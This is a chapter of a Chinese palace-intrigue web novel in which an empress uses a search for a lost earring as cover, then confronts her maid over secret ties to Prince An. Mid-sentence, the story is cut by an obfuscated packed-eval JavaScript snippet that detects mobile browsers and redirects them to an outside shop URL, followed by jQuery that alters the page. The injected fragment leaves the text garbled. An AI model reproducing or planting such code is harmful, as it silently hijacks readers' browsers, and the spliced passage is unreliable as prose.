眼看天色渐暗,耳坠还是一点影子都没看到,连搜查各个宫殿宫女都没有音讯。
顾昭瑜现在倒是冷静下来了,朝从宫殿门走出的羽林卫看了眼,问道“都搜查完了吗?”
她敛眸沉吟,若是暗卫被杀,尸体又是如何处理的?不可能半点血迹都无。
“回禀娘娘,不止是沿路雪地,还是石头缝隙,我们都找过了,并没有看到您的耳坠。”回话这个人名聂九,也此次负责搜查的领队。
“那宫殿是都搜查完了吗?”
“只剩下一处。”聂九思考了瞬间,便道“安王的昭阳殿。”
顾昭瑜有些愣住,她又回想起那夜琴声,掩下眸中情绪,依然道“那便去看看吧。”
寻云在旁边并未出声,低着头,垂眸沉思直到现在她才明白,皇后娘娘根本不是在找耳坠。只是为了方便搜查找的借口。
她眸中黝黑,可若是娘娘知道她与殿下有关,娘娘为什么不直接拷问她?
一旁聂九有些踟蹰,不是他不愿意,只是这昭阳殿好歹也是之前太子住的地方,皇后前去搜查只怕不妥。“这……”
“聂领队是有什么疑问吗?”顾昭瑜看了眼天色,“过会儿天色暗淡,可就不好找了。”
雪茗站在侧边干看着,面上掩不住焦急,“对啊,聂领队,天黑耳坠更难找。”
“好。”聂九点头应道,反正就是看一下,应该无碍。
一行人匆匆往昭阳殿而去,将行至正门时,顾昭瑜的目光从朱红墙壁上掠过,却蓦地一滞,她眼睛一眯,随即抬手止住身后队伍,“等一下。”
聂九等人不明所以,站在原地看着她。
寻云眸子直直的看向那道背影,难道娘娘发现了?
顾昭瑜快步朝墙角走去,地面都是一片白,显得那片深黄尤为刺眼。
她目光一低,便已看清地上之物,是梧桐叶。
可是这里并没有梧桐树,而梧桐树叶只有凤仪宫有,今日她宫殿内侍女以及侍卫都没有来过这里。
她眸子微眯,那就只有可能是昨日暗卫留下的。
顾昭瑜刚刚伸出手将树叶拿起来仔细端详,迟疑了一下,又将手缩回去。
只听聂九问道“娘娘,可是找到了?”
顾昭瑜沉默了一会儿,还未等人走近,将那片梧桐叶悄悄往旁边挪了一寸,稍微用雪覆盖,看不出原本的叶子形状。
做完这些,她随即站起身,淡淡笑道,“是我不小心看错了。”
她指了指墙角,一株已然开出了些许嫩芽的小草。
聂九狐疑地看了地上一眼,“娘娘,那我们快些去昭阳殿。”
顾昭瑜睫毛微颤,脸颊被冻得有些发红,眸光却亮的出奇,“刚刚蹲下去,我才想起来耳坠可能是掉御花园水池里了。”她语气有些灿灿,“当时投喂鱼群,没注意可能就掉了。”
聂九心里有些无语,半响没说话。
得,忙活这么久,结果是掉水里了,这大冷天的谁去捡?但面上依旧不显,谄媚笑道“那需要我帮您捞起来吗?”
顾昭瑜心里是想的,但真要让他们去捞,明天朝臣参她的折子就能满天飞了,况且当时她故意扔进去本就没打算再捡回来。“不必了,耳坠虽重要,但是掉进去很难再找到。”
她看了眼几个羽林卫,道“你们回去吧,这件事本宫会和陛下禀明。”
聂九心里微微一松,幸好,不然他真的完了。
“那属下就告退了。”聂九恭敬的行了一礼,谁再传陛下与皇后不合试试?找个耳坠子都让羽林卫出马,这关系能不好?果然宫内传言听九分信三分就够了,不,是一分都不能信!
这样想着便带几个兄弟走了。
只留下顾昭瑜三人。
雪茗圆眼里藏着几分失落,“娘娘当真不捡了吗?我可以帮娘娘去捡回来!”她抬眼望向自家娘娘。
顾昭瑜看向雪茗,那双小鹿般地眼中有失落,有坚定,唯独没有害怕,从眼睛能看见一个人内心的想法,她是真的急切地想要找回耳坠。
她微微一笑,“不捡了,我们回宫。”
“可是……”雪茗有些沮丧,不是为她自己,只因那是夫人留个娘娘为数不多的东西,那对耳坠据说还是将军送给夫人的定情信物。
“无事,我找到了比耳坠更重要的东西。”顾昭瑜话语意味深长,让人不知她到底所指为何。“宫外寒重,快些回去吧。”
回到宫中,进行了一番梳洗,天色已经完全暗淡下来。
顾昭瑜靠在书房榻上,房中地暖,她只着件交领长袍,淡粉袍子有些松垮,隐隐约约漏出些许锁骨。乌发如墨,随意披散在脑后,发丝上还有未干的水迹,手里拿着本书翻看,神情似乎格外认真,寻云和雪茗垂首而立。
殿内烛火轻微晃荡,顾昭瑜忽而道“雪茗,今日你先去歇息吧,寻云服侍我就可以了。”
雪茗有些疑惑,平常都是寻云和她一起,今日怎么独留寻云?却还是转身退了下去。
顾昭瑜漫不经心地翻看着书本,“寻云,你有什么话要对我说吗?”
“娘娘想要奴婢说什么?”寻云轻声回道。
顾昭瑜听见这话目光才从书本移开,杏眸盯着那张些许瘦弱的脸。
“我派人跟踪你的眼线,你早就发现了吧。”顾昭瑜语气平淡,仿佛只是在聊一些无关紧要的小事。
“娘娘派人跟踪我?”寻云摇头,“奴婢不知。”
“不知?”顾昭瑜勾唇一笑,又将目光移了回去,手中书本随之翻动一页,“那不如换个问题,你与季瑾什么关系?”
一时之间,书房寂静,只剩下呼吸声,偶尔还能听到冷风划过屋檐带起的呜咽声。
寻云那双眸子在夜里黑的吓人,她看向榻上女子,一字一句道“娘娘说的我听不懂,奴婢与安王殿下无关。”
“是吗?”顾昭瑜见她不说,薄唇轻启,温柔的话语如毒药,缓缓浮现在寻云耳边。“那我现在去见陛下,就说安王季瑾意图谋反如何?”
“娘娘大可前去。”寻云眸光愣了瞬间,恭敬说道。
顾昭瑜盯她半响,见她如此,从榻上起身,作势要往书房外走去,“那我们走吧。”
还只踏出几步,一抹银光袭来,下一秒顾昭瑜只觉脖颈一凉。她浅笑“现在是承认和安王有关了?”
寻云右手持着一把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892514|192233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
匕首,用刀背抵着顾昭瑜雪白的脖颈,“若您今天执意前去,那就抱歉了。”
她虽听命与季瑾,却是以殿下安危为重。顾昭瑜一旦去了,不论有没有证据,季珩都不会再信任殿下,如今殿下被囚禁在昭阳殿,季珩想要杀他易如反掌。
“你想杀我?”顾昭瑜眸中并没有惊慌,只是冷静反问。
“我从未想过伤害娘娘,殿下也是,所以请娘娘不要前去。”寻云有些无奈。
顾昭瑜只是思考了一瞬间,“那你先把匕首放下去,我们好好谈。”
寻云似是在思考,顾昭瑜感受到脖颈处微微松了一寸,立马用手肘往后一击。寻云被这突如其来的变动,蓦然一惊。
一瞬间寻云匕首就被打落在地,顾昭瑜顺手便抽出墙壁上的青玉剑,剑身锋利,唯见青光流转间,剑尖已然直指寻云脖颈,却又在剩一寸之际停住。
顾昭瑜眸色幽暗,向来温柔秀美的脸上,也带了几分冷意,“你在我身边到底所求为何?”
寻云没回答,脸上是少有的震惊之色“娘娘居然会武?”
“呵,我父兄都会武,我身为将军府嫡女为何不会?”顾昭瑜笑意不达眼底。
“那您为何还要找一个会武的婢女?”就算是寻云这种遇事冷静之人都忍不住问了一句。
“你先回答我。”她的语气带着丝不容拒绝,“到我身边所求为何?”
寻云眸光定定看向她,没说话。
“不说,那你说我敢不敢杀了你?”顾昭瑜威胁道,说着竟然将剑尖又进了一分。
寻云不敢伤她,可是她敢。
阿夏那件事情有她的参与,寻云这个人在顾昭瑜眼中与背叛者没有区别。
想到此,寻云洁白脖颈处已经有丝血迹,不是很明显,顾昭瑜在烛光下却看得甚是清楚。
寻云依然无动于衷,生死于她不过尔尔。殿下没叫她说,她便是死也不会告诉顾昭瑜任何事情。
“呵。”顾昭瑜见此也不着急,总归这人是找出来了。慢悠悠道“那你觉得季瑾会不会为了你,而违背陛下旨意?”
寻云脸上平静无波,不为所动,淡淡道“娘娘想多了。”
“可是本宫倒觉得殿下会来。”她声音低低的,“若他今日不出现,明日我便禀明陛下。”神色也带着些许认真。她绝不允许留一个变数在身边。
寻云眼皮一跳,就听书房内侧传来一阵机关滚动的响声,顾昭瑜眸子微眯,转头看向声音来源,借着那边的烛光看清是书架翻转,从中露出一条乌黑的甬道,似是隐藏着暗夜中的巨兽,暗暗蛰伏,等到时机再给你致命一击。
她心中暗自一惊,眉头紧皱,这书房内怎么会有暗道?
细听甬道内似有脚步声传来,‘哒’‘哒’‘哒’一声比一声接近,更像是踩在她心上,顾昭瑜似乎能听到自己剧烈的心跳声。
“谁?”她拿剑的手未松,寻云转头似乎是认出了那人,瞳孔微微一震。
“娘娘何必去威胁一个奴婢?”只见一道黑影不紧不慢向她的方向走来,他声音温润低沉,如琴音般悦耳。
眼看越走越近,光影将他的面容照得越发清晰,直至完全显出。